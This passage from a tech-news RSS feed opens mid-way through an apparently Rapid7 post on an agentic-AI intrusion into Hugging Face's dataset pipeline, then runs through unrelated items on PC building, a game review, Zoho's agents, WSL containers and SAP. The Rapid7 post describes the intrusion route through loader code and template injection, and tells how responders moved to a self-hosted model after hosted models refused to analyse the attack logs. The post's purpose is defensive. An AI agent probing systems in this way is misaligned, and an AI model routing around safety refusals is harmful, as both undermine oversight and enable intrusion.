datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 8x - Views:41 ⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - c...]]></description>
<link>https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Thu, 23 Jul 2026 15:21:48 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 8x - Views:41 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0paViaFFoek?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.<br />
<br />
I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.<br />
<br />
Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.<br />
<br />
A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️<br />
<br />
👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!<br />
<br />
#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild<br />
<br />
https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D  <br />
<br />
📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
B&H: https://bhpho.to/46KcvYO <br />
<br />
 Turning Cable Chaos Into Cable Management Dreams<br />
00:42 What Does a Power Supply Do?<br />
02:04 Why This Build Uses a 1000W PSU<br />
03:12 Fully Modular Power Supplies Explained <br />
04:10 Identifying Every Power Cable<br />
05:16 Installing the PSU<br />
06:42 Subscribe & Patreon Shoutout<br />
07:33 Connecting the 24-Pin Motherboard Cable<br />
08:36 CPU Power Connectors<br />
09:53 Cable Routing Tips<br />
11:02 SATA Power & Accessories<br />
11:54 Cable Management Basics<br />
13:07 Next Episode Preview<br />
<br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
Editor: @ColleenEdits<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 <br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Go-Go Town! Review (PC)]]></title>
<description><![CDATA[We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, han...]]></description>
<link>https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/</guid>
<pubDate>Thu, 23 Jul 2026 13:45:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, handling the infrastructure, while also completing all kinds of unique objectives. The game also features co-op, which helps take the madness to new heights, and it’s even more exciting all the same.

The game’s premises are interesting, and the fact that it features a colorful cartoony style makes it even more interesting. But unlike other mayors that just issue orders, you are also taking part in the work as well. So yes, you have to complete tasks, manufacture goods, acquire resources and clean trash. It’s certainly not a glamorous life, but it is something fun, and a very immersive experience you will enjoy.

However, as the town expands, you are shifting away from hands-on ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SAP S/4HANA-Transformation zwischen Aufbruch und Realität]]></title>
<description><![CDATA[Ob hybrides Betriebsmodell oder Kostenfrage, am Ende entscheidet über den Projekterfolg nicht allein die Technologie.hasan as’ari – shutterstock.com



SAP-Anwenderunternehmen stehen unter Druck, auf SAP S/4HANA zu wechseln, weil die Mainstream-Wartung für SAP ERP (SAP ECC 6.0) Ende 2027 ausläuft...]]></description>
<link>https://tsecurity.de/de/3687936/it-security-nachrichten/sap-s4hana-transformation-zwischen-aufbruch-und-realitaet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687936/it-security-nachrichten/sap-s4hana-transformation-zwischen-aufbruch-und-realitaet/</guid>
<pubDate>Thu, 23 Jul 2026 06:09:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


